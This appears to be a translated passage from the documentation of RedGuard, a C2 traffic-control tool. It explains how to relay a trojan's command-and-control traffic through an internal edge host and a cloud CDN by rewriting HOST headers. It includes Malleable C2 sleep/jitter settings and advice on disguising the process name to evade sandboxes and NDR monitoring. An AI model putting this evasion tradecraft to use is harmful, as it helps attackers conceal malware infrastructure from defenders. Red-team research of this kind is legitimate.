EdgeHost — это домен, используемый для фронтального домена нашего облачного провайдера, а также домен, который RG-граничный узел использует при взаимодействии с C2 через узел CDN. Да, RG будет изменять HOST-домен легитимного запроса и заменять его на домен CDN облачного сервиса, который может нормально обмениваться данными.
EdgeTarget — это домен для взаимодействия внутри сети, он должен совпадать со стрелкой 1. Только трафик, запрошенный с этим доменом в HOST, будет считаться легитимным, и RG дополнительно изменит его на домен CDN облачного сервиса для последующего обмена.
**Здесь подведём итог:**
То есть взаимодействие между граничным узлом и хостом во внутренней сети происходит через установленный внутренний домен. Когда троян отправляет запрос к граничному узлу RG, он проверяет, является ли HOST в трафике запроса внутренним доменом, указанным в файле конфигурации. Если он соответствует, запрос считается легитимным. RG изменит HOST на домен CDN облачного провайдера, установленный в EdgeHost, для последующего обмена и перенаправит трафик на C2-сервер, обеспечивая полную скрытность и высокую запутанность всей цепочки. Представьте: внутренний домен взаимодействует с граничным узлом, используя внутренний домен, но граничный узел дополнительно меняет фактический адрес прокси и интерактивный HOST, создавая асимметричную информацию о взаимодействии между двумя хостами, что усложняет отслеживание и затрудняет расследование.
**Интерактивный трафик между граничными узлами и хостами внутренней сети, как показано на рисунке выше**
Ещё одно преимущество этого подхода в том, что в облачной песочнице, поскольку наш интерактивный IP настраивается под внутреннюю сеть, песочница не сможет выполнить корреляционный анализ связности по внутреннему IP во время анализа.
Одна вещь, которую следует отметить при настройке: HOST для запроса трояна должен быть:
- **HOST: Внутренний домен (указан в файле конфигурации RG)**
- **IP: Внутренний IP граничного хоста**
- **Порт для выхода: 443 (соответствует http(s)-порту прослушивания в файле конфигурации RG)**
- **Порт прослушивания: порт, на котором фактически работает C2**
Настройки прослушивателя C2 следующие:
В отличие от запроса, HOST прослушивателя C2 должен быть доменом CDN облачного провайдера, при условии, что конечный трафик сможет попасть на C2-сервер.
Интерактивный трафик внутреннего узла, как показано на рисунке ниже: видно, что внутренний IP в DMZ-зоне нормально обращается к порту 443. Это не удивительно: внутренний сервер или ПК подключается к бизнес-системе в DMZ-зоне.
Интерактивный трафик граничного хоста показан на рисунке. В реальных сценариях не будет большого количества TIME_WAIT. Здесь я установил время ожидания heartbeat-пакета равным 0 для тестирования. В реальных сценариях безопаснее установить больший разброс и время ожидания heartbeat-пакетов. И я лично считаю, что в реальных сценариях не стоит использовать HTTP-трафик. Разве трафик в открытом виде не является пустой тратой времени? Поэтому обычно этот порт не открывается. Мы изменим имя файла RG на Tomcat, Apache, Nginx и т.д., чтобы взаимодействие выглядело более запутанным.
Что касается разброса и времени ожидания heartbeat-пакетов, вы можете просто задать следующие поля в файле Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
Если вы не настроите его, может появиться сигнал тревоги о ненормальном пакете сердцебиения. Конечно, в большинстве случаев исследователи посчитают это ложной тревогой и проигнорируют. Однако для обеспечения безопасности рекомендуется настроить его, чтобы не вызывать аномальный пакет сердцебиения. В то время он тестировался оборудованием 360 NDR, и конкретный эффект выглядит следующим образом:
Что касается HTTPS-трафика, ни одно устройство мониторинга трафика на рынке не может проверять трафик. Современные устройства мониторинга по сути основаны на сопоставлении чувствительных слов. Даже на конкурсе по обнаружению пакетов данных одного производителя требовалось использовать незашифрованные пакеты, что заставляет задуматься: действительно ли RT-специалисты взаимодействуют с незашифрованным трафиком в реальных сценариях боевых действий? Помимо упомянутой выше асимметричной информации взаимодействия, наибольшим преимуществом этого метода является размещение узла RG на граничном узле для обеспечения контроля трафика на переднем конце, что дает тот же функциональный эффект, что и обычный RG.
Внутренние узлы RG-узлов преобразуются в CDN-узлы для перенаправления на C2-сервер. В обычных сценариях все внешние узлы доменов используются в качестве узлов запросов первого уровня, а граничные хосты вводятся в эксплуатацию после RG. Взаимодействие между бизнес-системой в DMZ-зоне и публичным IP CDN также выглядит довольно гармонично. В этом процессе ни внутренний хост, ни граничный хост не взаимодействуют напрямую с нашим C2, в чем и заключается элегантность этой продвинутой техники сокрытия.
Конечно, помимо вышеупомянутых преимуществ перед прокси-пересылкой через netsh и iptables, простота настройки и отсутствие записей конфигурации также являются одним из преимуществ.
Спасибо за вашу поддержку. RedGuard будет постоянно улучшаться и обновляться. Надеюсь, что RedGuard станет известен большему числу специалистов по безопасности. Инструмент использует идеи дизайна RedWarden.
Мы приветствуем ваши предложения по улучшению, RedGuard будет расти и совершенствоваться благодаря этим потребностям!
О разработчике 风起 соответствующие статьи: https://www.anquanke.com/member.html?memberId=148652
2022 Kcon Автор спектра оружия на хакерской конференции
10-я конференция по безопасности в Интернете ISC, форум «Продвинутая атака и защита», тема «Управление потоком фронтального трафика C2»
Обмен C2-трафиком на основе связей граничных узлов
https://www.anquanke.com/post/id/278140
Анализ технологии идентификации облачных песочниц потока данных
https://www.anquanke.com/post/id/277431
Реализация технологии рандомизации JARM-отпечатков
https://www.anquanke.com/post/id/276546
Контрмеры против разведки угроз C2-инфраструктуры
风起于青萍之末，浪成于微澜之间。
Если у вас есть вопросы или требования, вы можете отправить issue в проекте или связаться с разработчиком, добавив WeChat.
